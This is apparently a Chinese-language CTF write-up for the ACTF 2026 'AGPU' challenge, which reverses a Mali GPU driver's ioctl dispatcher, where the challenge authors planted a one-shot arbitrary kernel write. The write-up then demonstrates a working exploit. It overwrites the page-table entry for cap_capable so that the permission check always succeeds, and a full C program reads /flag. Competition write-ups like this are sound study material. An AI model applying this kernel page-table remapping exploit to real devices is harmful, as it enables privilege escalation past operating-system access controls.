AGPU

函数kbase_ioctl:

long kbase_ioctl(struct file_wrapper *file, unsigned int cmd, unsigned long user_arg)
{
    struct kbase_file_ctx *fctx = *(struct kbase_file_ctx **)(file + 0x18);
    struct kbase_context *kctx;
    long ret;

    /*
     * 第一段:少数不要求 fctx->state == 4 的前置接口。
     * 这几个分支在函数最前面被单独判断,不会走后面的 ready gate。
     */

    if (cmd == 0xc0108038) {
        // 16 字节 in/out
        struct req16 req = {0};
        if (copy_from_user(&req, user_arg, 0x10))
            return -EFAULT;
        ret = kbase_kinstr_prfcnt_enum_info(fctx->kbdev->prfcnt, &req);
        if (copy_to_user(user_arg, &req, 0x10))
            return -EFAULT;
        return ret;
    }

    if (cmd == 0xc0108039) {
        // 16 字节 in/out
        struct req16 req = {0};
        if (copy_from_user(&req, user_arg, 0x10))
            return -EFAULT;
        ret = kbase_kinstr_prfcnt_setup(fctx->kbdev->prfcnt, &req);
        if (copy_to_user(user_arg, &req, 0x10))
            return -EFAULT;
        return ret;
    }

    if (cmd == 0x40048001) {
        // SET_FLAGS:4 字节输入
        u32 flags = 0;
        if (copy_from_user(&flags, user_arg, 4))
            return -EFAULT;

        /*
         * 1. flags 必须落在一个很小的允许集合里:
         *    (flags & 0xffffff85) == 0
         *    也就是只允许极少数位被置位。
         *
         * 2. 这条分支不是“随便写个 flags”。
         *    它会检查当前文件上下文是否已经完成了 VERSION_CHECK
         *    留下的前置状态(核心是 state==2 且 slot3 已写入协商结果)。
         *
         * 3. 真正的 create_context 发生在这里:
         *    只有状态正好是 2,且 CAS(2 -> 3) 成功,才会继续建 kctx。
         *
         * 4. create_context 成功后:
         *    - 保存返回的 kctx 到 fctx->kctx
         *    - 把 fctx->state 设成 4
         *
         * 5. 如果本来 state == 4,则这条 ioctl 可以直接成功返回。
         */
        return set_flags_state_machine(fctx, flags);
    }

    if (cmd == 0x40108003) {
        // get_gpuprops,一共 16 字节
        struct {
            u64 user_ptr;
            u32 size_or_index;
            u32 flags;
        } req = {0};

        if (copy_from_user(&req, user_arg, 0x10))
            return -EFAULT;

        /*
         * 这里会拒绝 flags != 0。
         * 然后从 kbdev 里取一段 gpu properties 数据,copy 到 req.user_ptr 指向的用户缓冲区。
         */
        return handle_get_gpuprops_exact(fctx, &req);
    }

    if (cmd == 0xc0048000) {
        // 4 字节 in/out,逻辑本身很弱,最后不是成功码
        u32 tmp = 0;
        if (copy_from_user(&tmp, user_arg, 4))
            return -EFAULT;
        if (copy_to_user(user_arg, &tmp, 4))
            return -EFAULT;
        return -1;
    }

    if (cmd == 0xc0048034) {
        // VERSION_CHECK:4 字节 in/out
        struct {
            u16 major;
            u16 minor;
        } ver = {0};
        unsigned long negotiated_token;

        if (copy_from_user(&ver, user_arg, 4))
            return -EFAULT;

        /*
         * 这条分支比“问版本”复杂得多:
         *
         * - 若 major != 1:
         *     直接把返回值改写成 1.0x26
         *     negotiated_token = 0x00102600
         *
         * - 若 major == 1:
         *     minor 会被裁到 <= 0x26
         *     返回值写回 (major=1, minor=min(user_minor, 0x26))
         *     negotiated_token = 0x00100000 | (minor << 8)
         *
         * 然后进入状态机:
         *
         * 1. 尝试把 fctx->state 从 0 原子改成 1
         * 2. 成功后把 negotiated_token 写到 fctx->slot3
         * 3. 把 fctx->state 设成 2
         *
         *
         * 所以它不是“纯查询接口”,但它也不是最终把上下文建成 ready 的那一步。
         */
        return version_check_state_machine(fctx, &ver, user_arg);
    }

    /*
     * 第二段:这里开始,大多数普通接口都要求上下文 ready。
     */
    if (fctx == NULL)
        panic();

    if (fctx->state != 4)
        return -1;

    kctx = fctx->kctx;
    if (kctx == NULL)
        panic();

    /*
     * 第三段:ready 之后的普通 dispatcher。
     * 这里每个 case 的共同模式是:
     *   copy_from_user -> 可选保留字段检查 -> helper -> 可选 copy_to_user
     */
    switch (cmd) {
    case 0x8004800c:
        return disjoint_event_get_u32(user_arg, kctx);
    case 0x80048011:
        return read_u32_field_from_kctx(user_arg, kctx, 0x9060);
    case 0x8008802d:
        return kbase_csf_kcpu_queue_new_case(user_arg, kctx);
    case 0xc0018036:
        return priority_check_case(user_arg, kctx);
    case 0xc008803c:
        return read_user_page_case(user_arg, kctx);
    case 0xc0108006:
        return mem_query_case(user_arg, kctx);
    case 0xc010801f:
        return find_gpu_mapping_case(user_arg, kctx);
    case 0xc0108027:
        return queue_bind_case(user_arg, kctx);
    case 0xc0108030:
        return cs_tiler_heap_init_1_13_case(user_arg, kctx);
    case 0xc010803e:
        return cs_tiler_heap_size_case(user_arg, kctx);
    case 0xc0188010:
        return find_cpu_mapping_case(user_arg, kctx);
    case 0xc0188016:
        return mem_import_case(user_arg, kctx);
    case 0xc0188030:
        return cs_tiler_heap_init_case(user_arg, kctx);
    case 0xc0188033:
        return cs_get_glb_iface_case(user_arg, kctx);
    case 0xc0208005:
        return mem_alloc_case(user_arg, kctx);
    case 0xc0208015:
        return mem_alias_case(user_arg, kctx);
    case 0xc020802a:
        return cs_group_create_1_6_case(user_arg, kctx);
    case 0xc0208032:
        return get_cpu_gpu_timeinfo_case(user_arg, kctx);
    case 0xc028803a:
        return cs_group_create_1_18_case(user_arg, kctx);
    case 0xc040803b:
        return mem_alloc_ex_case(user_arg, kctx);
    case 0xc070803a:
        return cs_group_create_1_35_case(user_arg, kctx);
    case 0xc078803f:
        return cs_group_create_case(user_arg, kctx);
    case 0x8013:
        kbase_timeline_streams_flush(...);
        return 0;
    case 0x802c:
        kbase_csf_event_signal(kctx, 1);
        return 0;
    case 0x40018037:
        return set_limited_core_count_case(user_arg, kctx);
    case 0x40048012:
        return timeline_io_acquire_case(user_arg, kctx);
    case 0x40048019:
        return weird_copy_4_then_minus2_case(user_arg);
    case 0x40088007:
        return mem_free_case(user_arg, kctx);
    case 0x40088025:
        return queue_kick_case(user_arg, kctx);
    case 0x40088026:
        return init_exec_zone_case(user_arg, kctx);
    case 0x40088029:
        return queue_terminate_case(user_arg, kctx);
    case 0x4008802b:
        return queue_group_terminate_case(user_arg, kctx);
    case 0x4008802e:
        return kcpu_queue_delete_case(user_arg, kctx);
    case 0x40088031:
        return tiler_heap_term_case(user_arg, kctx);
    case 0x4010800d:
        return get_ddk_version_case(user_arg, kctx);
    case 0x40108014:
        return mem_commit_case(user_arg, kctx);
    case 0x4010801b:
        return mem_profile_add_case(user_arg, kctx);
    case 0x4010801d:
        return sticky_map_case(user_arg, kctx);
    case 0x4010801e:
        return sticky_unmap_case(user_arg, kctx);
    case 0x40108024:
        return queue_register_case(user_arg, kctx);
    case 0x4010802f:
        return kcpu_enqueue_case(user_arg, kctx);
    case 0x40108035:
        return cpu_queue_dump_case(user_arg, kctx);
    case 0x4010803d:
        return clear_faults_case(user_arg, kctx);
    case 0x40108200:
        return ctf_write4_case(user_arg, kctx);
    case 0x4018800e:
        return jit_init_case(user_arg, kctx);
    case 0x40188017:
        return mem_flags_change_case(user_arg, kctx);
    case 0x4020800f:
        return sync_now_case(user_arg, kctx);
    case 0x40208018:
        return weird_copy_0x20_then_minus2_case(user_arg);
    case 0x40288028:
        return queue_register_ex_case(user_arg, kctx);
    default:
        dev_warn(..., "Unknown ioctl 0x%x nr:%d", cmd, cmd & 0xff);
        return -ENOIOCTLCMD;
    }
}

函数kbasep_ioctl_ctf_write4:

struct ctf_write4_req {
    u64 addr;
    u32 value;
    u32 zero;
};

static u32 kbase_ctf_write4_available = 1;

long kbasep_ioctl_ctf_write4(struct ctf_write4_req *req)
{
    u64 addr;
    u32 value;

    addr = req->addr;
    if (addr == 0)
        return -EINVAL;

    /*
     * 这里是一个一次性 gate:
     * 只有当全局变量仍然是 1 时,才能把它原子改成 0。
     * 改成功的人拿到唯一一次 write4 机会。
     */
    if (!atomic_try_cmpxchg(&kbase_ctf_write4_available, 1, 0))
        return -1;

    value = req->value;
    *(u32 *)addr = value;
    return 0;
}

从kbasep_ioctl_ctf_write4我们可以看到这里给了只有一次的任意地址四字节写,这里我们需要用到的核心漏洞点就是这里了。

但是要进入这里我们需要保证fctx->state = 4,所以我们要先调用VERSION_CHECK分支把state推到2,然后调用SET_FLAGS分支把state推到4。

接下来我们看怎么利用这个任意地址四字节写入:

/flag 为什么本来读不到:

在 Linux 里,文件有权限。

所以正常情况下:

open("/flag", O_RDONLY)

会失败。

那内核是怎么判断“能不能读”的?

实际过程是:

  1. 调用 open("/flag")
  2. 进入内核
  3. 内核检查这个文件权限
  4. 内核再检查“当前进程有没有足够权限”
  5. 如果检查通过,才返回一个文件描述符
  6. 然后才能 read()

这里的“权限检查”里,会走到一个内核函数,名字叫:cap_capable

既然我们有能任意地址四字节修改的能力,改页表是一个不错的选择。

假设本来有这样一页代码:

  • 页 X 里放着真正的 cap_capable

当内核跳到 cap_capable 时,CPU 会:

  • 通过页表找到“cap_capable 这页”实际映射到哪里
  • 然后从那里取指令执行

如果我们把页表改了,变成:

  • “cap_capable 这页”不再映射到原来的物理页
  • 而是映射到另一页

那 CPU 还是以为自己在执行 cap_capable,但实际上取到的已经是:

  • 另一页的机器码

我们先找 cap_capable的虚拟地址:

我们先用vmlinux-to-elf工具把内核镜像Image的符号表恢复

然后:

$ readelf -Ws Image.elf | rg ' cap_capable$'
  8717: 00000000006f68b4     0 FUNC    GLOBAL DEFAULT  UND cap_capable

这里恢复后的内核镜像的基址是:bias = 0x510000

所以cap_capable在原本镜像的偏移是0x1e68b4

页大小是 0x1000。

所以:

page_base   = 0x1e68b4 & ~0xfff = 0x1e6000
page_offset = 0x1e68b4 & 0xfff  = 0x8b4
page_index  = 0x1e6000 >> 12    = 0x1e6

我们接下来需要找替代页,这个替代页的要求是:

  • 里面 +0x8b4 那个位置后续正好是“返回 0”的代码且不会崩溃

这一步我们就用脚本扫Image文件

最后选出的比较好的是:

0x1e98b4 lsr  w8, w8, #8
0x1e98b8 subs x2, x2, #1
0x1e98bc b.ne ...
0x1e98c0 mov  x0, #0
...
0x1e98e8 ret

它的好处是:

  • 没有 bl/blr
  • 没有显式崩溃指令
  • 很快就走到 x0 = 0
  • 后面 clean return

当然最好的检测方法是它不会因为页表替换导致各种地方崩溃,这里实测过这个可行。

于是替代页基址就是:

alt_page_base = 0x1e98b4 & ~0xfff = 0x1e9000

题目环境里,内核镜像物理装载基址(这个可以通过gdb动调看Image的开头字节来确定)是:

image_phys_base = 0x40200000

所以:

原页物理地址

target_phys_page = 0x40200000 + 0x1e6000
                 = 0x403e6000

替代页物理地址

alt_phys_page = 0x40200000 + 0x1e9000
              = 0x403e9000

找目标 PTE 槽:

因为目标页编号是:

page_index = 0x1e6

映射kernel image的 cap_capable在的那张页表的物理地址是:

pte_page_phys = 0x4070c000

每个PTE 8字节,所以槽地址:

pte_slot_phys = 0x4070c000 + 0x1e6 * 8
              = 0x4070cf30

把 PTE 槽物理地址换成可写的内核虚拟地址:

因为 write4 写的是内核虚拟地址,不是物理地址。

在gdb调试中可以确定arm64 direct map线性映射公式(原公式:virt = linear_base + (phys - phys_base)):

virt = 0xffff000000000000 + (phys - 0x40000000)

代入:

0xffff000000000000 + (0x4070cf30 - 0x40000000)
= 0xffff00000070cf30

于是得到最终目标地址:

PTE_SLOT_CAP_CAPABLE = 0xffff00000070cf30

构造要写入的新 PTE 值:

PTE 低位还有属性位,可以通过gdb动调得到:

(gdb) x/gx 0xffff00000070cf30
0xffff00000070cf30:     0x00d00000403e6f83

所以:

flags = 0x0f83

所以新 PTE 低 32 位就是:

PTE_LOW_REMAP_ZERO = 0x403e9000 | 0x0f83
            = 0x403e9f83

两个常量需要用的常量就出来了:

.addr  = 0xffff00000070cf30
.value = 0x403e9f83

然后利用链就是:

  1. open("/dev/mali0")
  2. VERSION_CHECK
  3. SET_FLAGS
  4. CTF_WRITE4(addr, value)
  5. open("/flag")
  6. read("/flag")

原来它要执行:

  • cap_capable = 页 A + 偏移 0x8b4

现在我们把页表改成:

  • “页 A” 映射到“物理页 B”

那 CPU 之后再跳到:

  • 页 A + 0x8b4

实际取到的就变成:

  • 页 B + 0x8b4

而 WP 刚好发现:

  • 页 B + 0x8b4 那里是一段“直接返回 0”的代码

所以效果就是:

  • 原本调用 cap_capable
  • 实际执行了另一页上同 offset 的“永远成功”代码

所以 /flagopen() 就通过了。

EXP:

#include "zenpwnc/common.h"
#define KBASE_IOCTL_VERSION_CHECK 0xc0048034UL
#define KBASE_IOCTL_SET_FLAGS 0x40048001UL
#define KBASE_IOCTL_CTF_WRITE4 0x40108200UL

#define PTE_SLOT_CAP_CAPABLE 0xffff00000070cf30ULL
#define PTE_LOW_REMAP_ZERO 0x403e9f83U

struct version_check
{
    uint16_t major;
    uint16_t minor;
};

struct write4
{
    uint64_t addr;
    uint32_t data;
    uint32_t zero;
};

int main (void)
{
    int mali_fd;
    struct version_check ver = {1, 0};
    uint32_t flags = 0;
    struct write4 req = {
        .addr = PTE_SLOT_CAP_CAPABLE,
        .data = PTE_LOW_REMAP_ZERO,
        .zero = 0,
    };
    ssize_t nread;
    mali_fd = zpc_must_fd(open("/dev/mali0", O_RDWR));
    zpc_must(ioctl(mali_fd, KBASE_IOCTL_VERSION_CHECK, &ver));
    zpc_must(ioctl(mali_fd, KBASE_IOCTL_SET_FLAGS, &flags));
    zpc_must(ioctl(mali_fd, KBASE_IOCTL_CTF_WRITE4, &req));

    char buf[0x100];
    int flag_fd;
    flag_fd = zpc_must_fd(open("/flag", O_RDONLY));
    nread = zpc_must(read(flag_fd, buf, sizeof(buf) - 1));
    buf[nread] = '\0';
    printf("[*] flag: %s\n", buf);
    return 0;
}

题目链接:CTF-Writeups/ACTF 2026/AGPU at main · Zenquiem/CTF-Writeups


AGPU
https://zenquietus.top/archives/wei-ming-ming-wen-zhang-ycb1DV5K
作者
ZenDuk
发布于
2026年05月19日
许可协议